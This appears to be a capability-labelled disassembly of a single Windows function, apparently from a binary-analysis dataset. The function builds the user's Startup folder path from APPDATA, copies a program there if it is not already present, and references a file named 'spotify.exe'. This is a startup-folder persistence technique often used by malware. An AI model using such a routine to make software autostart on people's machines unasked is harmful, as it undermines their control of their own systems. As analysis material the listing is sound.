Function at 0x140001535
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x418
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3b0], ecx
mov qword [rbp + 0x3b8], rdx
call sym.__main
cmp dword [rbp + 0x3b0], 0
jle 0x140001811
mov rdx, qword [rbp + 0x3b8]
lea rax, [rbp + 0x1b0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x1b0]
mov rcx, rax
call method.std::filesystem.canonical_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.140055660
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x1d8]
lea rax, [rbp - 0x30]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x210]
mov r8d, 2
lea rdx, str.Startup
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__8___std::filesystem::__cxx11.path__char_const_____8___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x270]
mov r8d, 2
lea rdx, str.Programs
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__9___std::filesystem::__cxx11.path__char_const_____9___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x2d0]
mov r8d, 2
lea rdx, str.Start_Menu
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__11___std::filesystem::__cxx11.path__char_const_____11___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x330]
mov r8d, 2
lea rdx, str.Windows
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__8___std::filesystem::__cxx11.path__char_const_____8___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x360]
mov r8d, 2
lea rdx, str.Microsoft
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__10___std::filesystem::__cxx11.path__char_const_____10___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x300]
lea rcx, [rbp + 0x330]
lea rdx, [rbp + 0x360]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x2a0]
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x300]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x240]
lea rcx, [rbp + 0x270]
lea rdx, [rbp + 0x2a0]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1e0]
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rdx, [rbp + 0x1e0]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::filesystem::__cxx11::path.operator__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.140055660
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.140055660
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.isAlreadyInStartup_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
xor eax, 1
test al, al
je 0x1400017cc
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.copyToStartup_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, str.Program_added_to_Startup_folder.
mov rdx, rax
mov rax, qword [0x140088550]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x1400017f7
lea rax, str.Program_is_already_in_the_Startup_folder._Skipping_copying.
mov rdx, rax
mov rax, qword [0x140088550]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140055660
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140055660
jmp 0x140001861
lea rax, str.Error:_No_command_line_arguments.
mov rdx, rax
mov rax, qword [0x140088530]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x30]
mov r8d, 4
lea rdx, str.spotify.exe
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140067380
mov eax, 0
jmp 0x140001967
add rsp, 0x418
pop rbx
pop rbp
ret